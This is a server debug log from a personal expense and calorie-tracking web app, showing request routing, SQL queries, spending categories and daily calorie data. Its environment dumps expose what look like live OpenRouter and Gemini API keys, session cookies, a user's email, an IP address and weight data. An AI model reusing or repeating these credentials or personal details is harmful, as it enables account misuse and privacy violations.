  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 03:51:08' as DATETIME)"
}
2025-12-18T04:00:48.035Z server-connect:router Serving templateView /
2025-12-18T04:00:48.036Z server-connect:app Executing action step identify
2025-12-18T04:00:48.036Z server-connect:app options: { provider: 'security' }
2025-12-18T04:00:48.036Z server-connect:output identity: 1
2025-12-18T04:00:48.036Z server-connect:app Executing action step restrict
2025-12-18T04:00:48.036Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T04:00:48.038Z server-connect:output restrict: undefined
2025-12-18T04:00:48.038Z server-connect:app Executing action step restrict
2025-12-18T04:00:48.038Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T04:00:48.038Z server-connect:output restrict: undefined
2025-12-18T04:00:48.038Z server-connect:router Render template layouts/main
2025-12-18T04:00:48.038Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'x-forwarded-for': '157.48.244.13',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:25.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.244.13',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'HTTP_X_FORWARDED-FOR': '157.48.244.13',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-18T04:00:48.667Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T04:00:48.667Z server-connect:app Executing action step identify
2025-12-18T04:00:48.668Z server-connect:app options: { provider: 'security' }
2025-12-18T04:00:48.668Z server-connect:output identity: 1
2025-12-18T04:00:48.668Z server-connect:app Executing action step restrict
2025-12-18T04:00:48.668Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:00:48.668Z server-connect:output restrict: undefined
2025-12-18T04:00:48.668Z server-connect:app Executing action step select
2025-12-18T04:00:48.668Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T04:00:48.673Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T04:00:48.676Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T04:00:48.677Z server-connect:app Executing action step identify
2025-12-18T04:00:48.677Z server-connect:app options: { provider: 'security' }
2025-12-18T04:00:48.677Z server-connect:output identity: 1
2025-12-18T04:00:48.677Z server-connect:app Executing action step restrict
2025-12-18T04:00:48.677Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:00:48.677Z server-connect:output restrict: undefined
2025-12-18T04:00:48.677Z server-connect:app Executing action step single
2025-12-18T04:00:48.677Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T04:00:48.678Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T04:00:51.232Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T04:00:51.233Z server-connect:app Executing action step identify
2025-12-18T04:00:51.233Z server-connect:app options: { provider: 'security' }
2025-12-18T04:00:51.233Z server-connect:output identity: 1
2025-12-18T04:00:51.233Z server-connect:app Executing action step restrict
2025-12-18T04:00:51.233Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T04:00:51.234Z server-connect:output restrict: undefined
2025-12-18T04:00:51.234Z server-connect:router Render template calorie-tracker
2025-12-18T04:00:51.234Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'x-forwarded-for': '157.48.244.13',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:25.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.244.13',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'HTTP_X_FORWARDED-FOR': '157.48.244.13',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-18T04:00:51.577Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T04:00:51.577Z server-connect:app Executing action step identify
2025-12-18T04:00:51.577Z server-connect:app options: { provider: 'security' }
2025-12-18T04:00:51.578Z server-connect:output identity: 1
2025-12-18T04:00:51.578Z server-connect:app Executing action step restrict
2025-12-18T04:00:51.578Z server-connect:app options: { provider: 'security' }
2025-12-18T04:00:51.578Z server-connect:output restrict: undefined
2025-12-18T04:00:51.578Z server-connect:app Executing action step single
2025-12-18T04:00:51.578Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T04:00:51.579Z server-connect:output summary: undefined
2025-12-18T04:00:51.582Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T04:00:51.582Z server-connect:app Executing action step identify
2025-12-18T04:00:51.582Z server-connect:app options: { provider: 'security' }
2025-12-18T04:00:51.582Z server-connect:output identity: 1
2025-12-18T04:00:51.582Z server-connect:app Executing action step restrict
2025-12-18T04:00:51.582Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:00:51.582Z server-connect:output restrict: undefined
2025-12-18T04:00:51.582Z server-connect:app Executing action step single
2025-12-18T04:00:51.582Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T04:00:51.584Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T04:00:51.584Z server-connect:app Executing action step select
2025-12-18T04:00:51.584Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T04:00:51.585Z server-connect:output item_list: []
2025-12-18T04:00:51.585Z server-connect:app Executing action step setvalue
2025-12-18T04:00:51.585Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T04:00:51.585Z server-connect:output var_total: 0
2025-12-18T04:00:51.585Z server-connect:app Executing action step setvalue
2025-12-18T04:00:51.585Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T04:00:51.585Z server-connect:output var_consumed: 0
2025-12-18T04:00:51.586Z server-connect:app Executing action step setvalue
2025-12-18T04:00:51.586Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T04:00:51.586Z server-connect:output var_deficit: 2400
2025-12-18T04:00:51.586Z server-connect:app Executing action step custom
2025-12-18T04:00:51.586Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T04:00:51.587Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  }
]
2025-12-18T04:00:52.492Z server-connect:app Executing action step identify
